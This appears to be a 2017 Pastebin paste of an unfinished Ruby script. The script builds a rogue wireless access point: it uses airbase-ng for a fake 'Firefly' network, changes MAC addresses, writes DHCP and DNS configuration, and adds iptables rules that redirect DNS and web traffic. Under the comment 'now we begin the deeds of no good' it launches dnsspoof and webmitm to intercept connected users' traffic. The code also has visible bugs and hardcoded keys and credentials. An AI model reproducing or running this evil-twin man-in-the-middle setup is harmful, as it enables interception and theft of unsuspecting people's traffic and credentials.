Advertisement
Guest User

Untitled

a guest
Jun 28th, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 8.28 KB | None | 0 0
  1. #!/usr/bin/ruby
  2. #capn-jack_mr_hai_signature_string
  3. # this is a work in progress, im going to eventuall make a complete handler for wireless router .
  4. # I started trying to make a WAP software in rub but after a while I started realizing that I shouldnt reinvent the wheel
  5. # i should just make a really good car. Im going to incorporate a bit of C and python also, the C to speed it up and the python
  6. #for some packet manipulation in the stream using scapy.
  7. #The configurtation options are all constants, i figured that instead of asking each time (since people generally have a
  8. #consistant setup) you set them in the code, the Class "packet_filter" is the filter (no really?!?!) i generally use nested ifs
  9. # for the hueristics but you can do whatever here
  10.  
  11. #install script
  12. #timed saves to pcap if ACTBAD, selective ports, most useful for tcp reconstruction
  13. require 'socket'
  14. require 'openssl'
  15. require 'rubygems'
  16. require 'net/ssh'
  17.  
  18. #find alternatives to avahi and network manager
  19. #maybe make a WAP connection script?
  20. # iw? ifconfig? both !
  21. #airodump to showcase the area, iwconfig to connect
  22. #dhclient to get an IP
  23.  
  24.  
  25. #ACL from ruby doc
  26. # have it be invoked as a response to snort
  27. #
  28.  
  29. #ssh/encryption config
  30. HOST = '192.168.1.113'
  31. USER = 'username'
  32. PASS = 'password'
  33. KEY = "qwertyuiopasdfghjklzxcvbnmqwerty"
  34. IV = "qwertyuiopasdfghjklzxcvbnmqwerty"
  35. PREAMBLE="begin_encryption"
  36.  
  37. #general config
  38. $ACTBAD=true
  39. $VERBOSE = true
  40. LOGGING= true
  41. MONITOR="mon0"
  42. EXTIF="eth1"
  43. TUNNEL="at0"
  44. INTIF="wlan1"
  45. TTY="/dev/tty10"
  46. CHAN = "9"
  47. ESSID="Firefly"
  48. `alias wpas='sudo killall -9 wpa_supplicant'`
  49. `sudo killall -9 avahi-daemon `
  50. #DHCP config
  51. RANGE="192.168.1.2 192.168.1.254"
  52. SCOPE="192.168.1.0"
  53. GATEWAY="192.168.1.1"
  54. MASK="255.255.255.0"
  55. BROADCAST="192.168.1.255"
  56. DOMAIN="cerberusrouter.net"
  57. DNS1="208.67.222.222"
  58. DNS2="208.67.220.220"
  59.  
  60.  
  61.  
  62. #Handles encryption
  63. #example
  64. #   #preparing my balls for encryption
  65. #   balls = Encryption.new("balls")
  66. #   #encrypting my balls
  67. #   balls.encrypt_payload
  68. class Encryption
  69.     def initialize (string)
  70.         @string = string
  71.     end
  72.     #encrypts
  73.     def encrypt_payload
  74.         cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc')
  75.         cipher.encrypt
  76.         cipher.key = WAPinit::KEY
  77.         cipher.iv = WAPinit::IV
  78.         cipher.update(@string) + cipher.final
  79.        
  80.     end
  81.     #decrypts
  82.     def decrypt_payload
  83.         cipher = OpenSSL::Cipher::Cipher.new('aes-256-cbc')
  84.         cipher.decrypt
  85.         cipher.key = WAPinit::KEY
  86.         cipher.iv = WAPinit::IV
  87.         cipher.update(@string) + cipher.final
  88.     end
  89.    
  90. end
  91.  
  92. class Scp_upload
  93. Net::SCP.start( hostname, username, :password => password ) do|scp|
  94.   scp.upload!( 'scp1.rb', '.' )
  95.   scp.download!( 'test.txt', '.' )
  96. end
  97. end
  98.  
  99. #this is a socket client to tx/rx streamimg aes-256 encrypted data.
  100. class Socket_IO_crypt
  101.   def initialize(data, port, host)
  102.   @io_obj = data
  103.   @port = port
  104.   @host = host
  105.   end
  106.  
  107. #listens for incomming connections on @port sending a encrypted string with a preamble  
  108.   def server
  109.     server = TCPServer.open(@port)
  110.     loop {                        
  111.       rx = server.accept
  112.      
  113.       #scans for a preamble and decrypts string sending it to a handler
  114.       if rx.scan(::PREAMBLE)
  115.         encrypted_str = rx.gsub(::PREAMBLE , "")
  116.         decrypted_str = Encryption.new(encrypted_str)
  117.         #send decrypted data to handler, possibly copy of the client?
  118.       else rx.puts "This is not yours"
  119.         rx.close
  120.       end
  121.     }
  122.   end
  123. #shoots an encrypted message to @host at @port with preamble
  124.   def client
  125.       tx = TCPSocket.open(@host, @port)
  126.       data = Encryption.new(@io_obj)
  127.       crypt_data = data.encrypt_payload
  128.       tx.puts crypt_data      
  129.       tx.close
  130.   end
  131. end
  132.  
  133. class Http_server
  134.   def initialize(port, header, max_connect, host)
  135.     @host = host #(insert php server self here)
  136.   end
  137.  
  138. end
  139.  
  140.  
  141. #instances of this class start the show
  142. class WAPinit
  143. `/etc/init.d/networking restart`
  144. #file contents of the bind and DHCP servers and the interface file
  145. interfaces = <<INTERFACE
  146. #loopback interface
  147.     auto lo iface lo inet loopback
  148.  
  149.     # interface external network (internet), configured through dhcp
  150.     auto #{EXTIF}
  151.     iface #{EXTIF} inet dhcp
  152.  
  153.     #interface network 1
  154.     auto #{INTIF}
  155.     iface #{INTIF} inet static
  156.             address #{GATEWAWY}
  157.             netmask #{MASK}
  158.             network #{SCOPE}
  159.             broadcast #{BROADCAST}
  160.  
  161.  
  162.  
  163. INTERFACE
  164.  
  165. bind = <<BIND
  166. options {
  167.     directory "/var/cache/bind";
  168.    
  169.     forwarders {
  170.         #{GATEWAY};
  171.        
  172.     };
  173.  
  174.     auth-nxdomain no;    # conform to RFC1035
  175.     listen-on-v6 { any; };
  176. };
  177. BIND
  178.  
  179.  
  180. dhcp3 = <<DHCP
  181. ddns-update-style interim;                                  
  182. ignore client-updates;
  183.  
  184. subnet #{SCOPE} netmask #{MASK} {
  185.  
  186.         range #{RANGE};                  
  187.            option subnet-mask              #{MASK};    # Default subnet mask to be used by DHCP clients
  188.            option broadcast-address        #{BROADCAST};    # Default broadcast address to be used by DHCP clients
  189.            option routers                  #{GATEWAY};      # Default gateway to be used by DHCP clients
  190.            option domain-name              "#{DOMAIN}";
  191.            option domain-name-servers      #{DNS1}, #{DNS2};           # Default DNS to be used by DHCP clients
  192. }
  193. #         DHCP requests are not forwarded. Applies when there is more than one ethernet device and forwarding is configured.
  194. #       option ipforwarding off;
  195.  
  196.          default-lease-time 21600;                            # Amount of time in seconds that a client may keep the IP address
  197.         max-lease-time 43200;
  198.  
  199.         option time-offset              -18000;              # Eastern Standard Time
  200. #       option ntp-servers              192.168.1.1;         # Default NTP server to be used by DHCP clients
  201. DHCP
  202.  
  203. ifaces = File.open("/etc/network/interfaces", "w")
  204. ifaces.syswrite(interfaces)
  205. `route add -net -n #{SCOPE} netmask #{MASK} dev #{INTIF}`
  206. `route add -net -n 0.0.0.0 dev #{EXTIF}`
  207. printf `route`
  208.  
  209. if `ifconfig`.match(/mon[0-9]/) = true
  210.  
  211.    elsif `ifconfig`.match(/at[0-9]/) = true
  212.  
  213.    elsif `ifconfig`.match(/wlan[0-9]/) = true
  214. #     `sudo killall -9 NetworkManager`
  215.      `sudo killall -9 avahi-daemon`
  216.      `killall -9 wpa_supplicant`
  217.      `airmon-ng start #{INTIF} #{CHAN}`
  218.      `gnome-terminal -e airodump-ng #{MONITOR}`
  219.      `changemac #{EXTIF}`
  220.      `changemac #{INTIF}`
  221.      `killall -9 wpa_supplicant`
  222.      pid = fork do
  223.        `airbase-ng -e #{ESSID} -v -v -c #{CHAN} -I 5000 #{MONITOR} 2>&1`
  224.      end
  225.     Process.detach(pid)
  226.    else printf "Something happened with the interfaces, please configure your system and plug in any devices"
  227.   end
  228. sleep 4
  229. `ifconfig #{TUNNEL} up`
  230. #begin the router-fu!
  231. `modprobe ip_tables`
  232. `modprobe iptable_filter`
  233. `modprobe ip_conntrack`
  234. `modprobe ip_conntrack_ftp`
  235. `modprobe ip_conntrack_irc`
  236. `modprobe iptable_nat`
  237. `modprobe ip_nat_ftp`
  238. `modprobe ip_nat_irc`
  239. `echo "1" > /proc/sys/net/ipv4/ip_dynaddr`
  240. `iptables --table nat --flush`
  241. `iptables --delete-chain`
  242. `iptables --flush`
  243. `iptables -P INPUT ACCEPT`
  244. `iptables -F INPUT `
  245. `iptables -P OUTPUT ACCEPT`
  246. `iptables -F OUTPUT `
  247. `iptables -P FORWARD DROP`
  248. `iptables -F FORWARD `
  249. `iptables -t nat -F`
  250. `iptables -A FORWARD -i #{TUNNEL} -o #{EXTIF} -j ACCEPT`
  251. `iptables -A FORWARD -i #{TUNNEL} -o #{EXTIF} -m state --state ESTABLISHED,RELATED -j ACCEPT`
  252. `iptables -A INPUT -i #{TUNNEL} -m state --state ESTABLISHED,RELATED -j ACCEPT`
  253. `iptables -A INPUT -i lo -s 0/0 -d 0/0 -j ACCEPT`
  254. `iptables -A POSTROUTING -t nat -o #{EXTIF} -j MASQUERADE`
  255. `iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to #{GATEWAY}` #dns
  256. `iptables -t nat -A PREROUTING -i #{TUNNEL} -p tcp --dport 80 --j REDIRECT --to-ports 80`
  257. `echo "1" > /proc/sys/net/ipv4/ip_forward`
  258. `ifconfig at0 up`
  259. `ifconfig at0 #{GATEWAY} netmask #{MASK}`
  260. `ifconfig at0 mtu 1500`
  261. dhcpconf = File.open("/etc/dhcp3/dhcpd.conf", "w")
  262. dhcpconf.syswrite(dhcp3)
  263. `dhcpd3 #{TUNNEL}`
  264. dnsf = File.open("/etc/bind/named.conf.options", "w")
  265. dnsf.syswrite(bind)
  266. printf `/etc/init.d/bind9 restart`
  267. `notify-send "#{ESSID} - Wireless Access Point initialized"`
  268. end
  269.  
  270. #Starting the server
  271. WAPinit.new
  272.  
  273. # so far we have accomplished the task of initiating a WAP, starting DHCP, configuring the routing tables for
  274. #tranparency and configuring the interfaces.
  275.  
  276. #now we begin the deeds of no good
  277.  
  278. `dnsspoof -i #{TUNNEL}`
  279. sleep 1
  280. `webmitm -d -d -d`
  281. sleep 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement